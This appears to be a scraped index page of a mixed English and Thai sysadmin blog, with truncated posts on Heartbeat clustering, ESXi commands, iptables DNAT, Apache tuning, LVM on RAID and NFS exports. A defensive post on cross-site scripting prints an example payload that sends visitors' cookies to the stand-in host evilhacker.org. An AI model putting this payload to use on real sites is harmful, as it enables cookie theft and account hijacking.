Matrix

Heartbeat: Heart of High-Availability Linux

Environment
Redhat-based linux (Fedora, CentOS)

Installation
yum install heartbeat

Minimum Configuration
/etc/ha.d/ha.cf
node heartbeat1
node heartbeat2
bcast eth0
auto_failback off

/etc/ha.d/haresources
heartbeat1 192.168.85.3/27/192.168.85.16

/etc/ha.d/authkeys
auth 1
1 sha1 passwordString

Few description
/etc/ha.d/ha.cf
node xxx
node nodename = Indicate node in this heartbeat cluster
we can obtain nodename via uname -n command

bcast eth0

VMware ESXi shell command

Reference from vim-cmd of VMware ESX Server 3i 3.5.0 build-123629

Get help: vim-cmd help or vim-cmd -h

Guest VM control command

Commands available under vmsvc/:
acquiremksticket          get.configoption          power.off                 
connect                   get.datastores            power.on                  
convert.toTemplate        get.disabledmethods       power.reboot              
convert.toVm              get.environment           power.reset               
createdummyvm             get.filelayout            power.shutdown            

DNAT: Destination NAT with iptables

Sample: SSH through DNAT
Scenario
My client has IP address 172.16.1.202 with 172.16.1.1 as default gateway.
And I need to access secure shell of server in another network (192.168.1.101).
Our gateway has 172.16.1.1 and 192.168.1.1 as IP address in both networks.

Diagram
Client 172.16.1.202 ---> 172.16.1.1:50001 [Gateway] 192.168.1.1 ---> 192.168.1.101:22 [Destination]

Gateway
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Let firewall accept forwarding for port 50001

Apache - มาประหยัดการเขียน Log กันดีกว่า

(จะจัดเข้าหมวด Speedy Apache ดีไหมนี่)

เพื่อประสิทธิภาพที่ดีของ web server ของเรา
มาลดการเขียน log ลง disk กันบ้างดีกว่าครับ

ถ้าเรายังต้องการการ log ของ Apache อยู่
แต่ก็มีบาง request ที่ไม่ต้องการการเขียน log
เช่น ไฟล์รูปภาพ, CSS, JavaScript, ...

ให้ทำดังนี้ครับ
1. Set environment variable สำหรับ request ที่ match กับที่เราต้องการ

SetEnvIfNoCase    Request_URI    "\.(gif|jpg|png|js|css)$"     no_log_object

2. เพิ่ม env filter เข้าไปหลังบรรทัดที่ระบุการเขียน Log

CustomLog    /bla/bla/bla    combined     env=!no_log_object

Web App. Stronghold - Episode 1 - ป้องกัน cross-site scripting

Web Application Stronghold - Episode 1 - ป้องกัน cross-site scripting -- Prevent cross-site scripting

ตัวอย่างง่าย ๆ ของ Cross-site scripting ก็คือการ post ข้อความที่ปน HTML เข้าไปในที่ใดก็ตามที่อนุญาตให้ post free text ได้
เช่น guestbook, comment ฯลฯ เช่นถ้าเรา post code ข้างล่างนี้ไปที่ guestbook ของใครซักคน ที่ไม่ได้กรอง HTML code

Hello Everyone!<script>document.write("<img src="http://evilhacker.org/?" + document.cookie + "'>);</script>

ทุกคนที่มาอ่าน guestbook หน้านี้ก็จะถูกแอบส่ง cookie ไปยังเวบ evilhacker.org ทันที *_*

Speedy Apache - Episode 2 - ถ้าไม่จำเป็น อย่าใช้ .htaccess

Speedy Apache - Episode 2 - ถ้าไม่จำเป็น อย่าใช้ .htaccess -- Get rid of .htaccess

ใน Website ที่อยู่ในช่วง Production แล้วถ้าไม่จำเป็นจริง ๆ ไม่ควรใช้งาน .htaccess
เนื่องจากการเปิดใช้ .htaccess นั้นจะทำให้ Apache จะต้องควานหา File .htaccess ทุกครั้งที่มีการ Request
ซึ่งก็แน่นอน การเข้าถึง File system ย่อมทำให้เกิดคอขวด ถึงแม้ว่ามันจะ Cache ได้ก็เถอะนะ

และสิ่งที่ต้องทำไม่ใช่แค่เอา File .htaccess ออกไปเท่านั้น
เราจะต้องแก้ไข httpd.conf ด้วย โดยให้

AllowOverride None

ตัว Apache เองจะได้ไม่พยายามอ่าน .htaccess อีกต่อไปครับผม

Speedy Apache: Episode 1 - เอา ETag ออกไป!

Speedy Apache - Episode 1 - เอา ETag ออกไป! -- Turn off ETag HTTP response header

Entity Tag (ETag) เปรียบเสมือนเลข Version ของ Content ที่จะส่งออกไปจาก Server

โดยถ้า Browser ส่งค่า If-None-Match (ETag ล่าสุดของ URL ที่ Browser Cache ไว้) มาด้วย
Server จะทำการเปรียบเทียบกับ ETag ที่คำนวณที่ Server ว่าเป็น Content ที่ใหม่กว่าที่ Browser Cache ไว้หรือไม่
ถ้าพบว่าค่า ETag เท่ากัน Server ก็จะส่ง status code 304 Not Modified กลับมาเพื่อบอก Browser ว่าไม่ต้องโหลดต่อให้ใช้ Content เดิมไป

การสร้าง Logical Volume (LV) บน Software RAID Array

วันนี้เฮี้ยนอยากลองใช้ LVM (Logical Volume Management) บน Software RAID (RAID5) ดู
โดยผมลองใน VMware นะครับ เพื่อความปลอดภัย อิอิ

VM configuration
- Fedora 9.0
- SCSI disk 8GB x 3

ขั้นที่ 1 สร้าง RAID Array ขึ้นมาก่อน โดย
1. เนื่องจากผมไม่ได้ใช้ทั้ง Disk จึงต้องแบ่ง Partition เอาครับ โดยใช้ fdisk
แบ่ง Harddisk ทั้ง 3 ลูกให้มี Partition ขนาด 1000MB (จะลอง RAID 5 จึงต้องใช้ขนาดเท่ากันเป๊ะ ๆ)
เป็น /dev/sda5, /dev/sdb5, /dev/sdc5

2. สร้าง RAID Array ชื่อ /dev/md0

[root@localhost ~]# mdadm -Cv /dev/md0 -l5 -n3 /dev/sda5 /dev/sdb5 /dev/sdc5

NFS configuration example (/etc/exports)

Just a quick example for nfs export path.

Format
<Local Path> <hosts>(<Options>) [<more hosts>(<Options>)...]

For read-only path
/xyz/abc 192.168.1.111(ro,root_squash)

For read-write path
/abc/xyz 192.168.1.112(rw,no_root_squash)

Hosts

  • Single Host FQDN, IP address of single machine i.e. 192.168.1.1
  • Wildcards i.e. *.semicolon.in.th
  • IP Networks i.e. 192.168.1/24
Syndicate content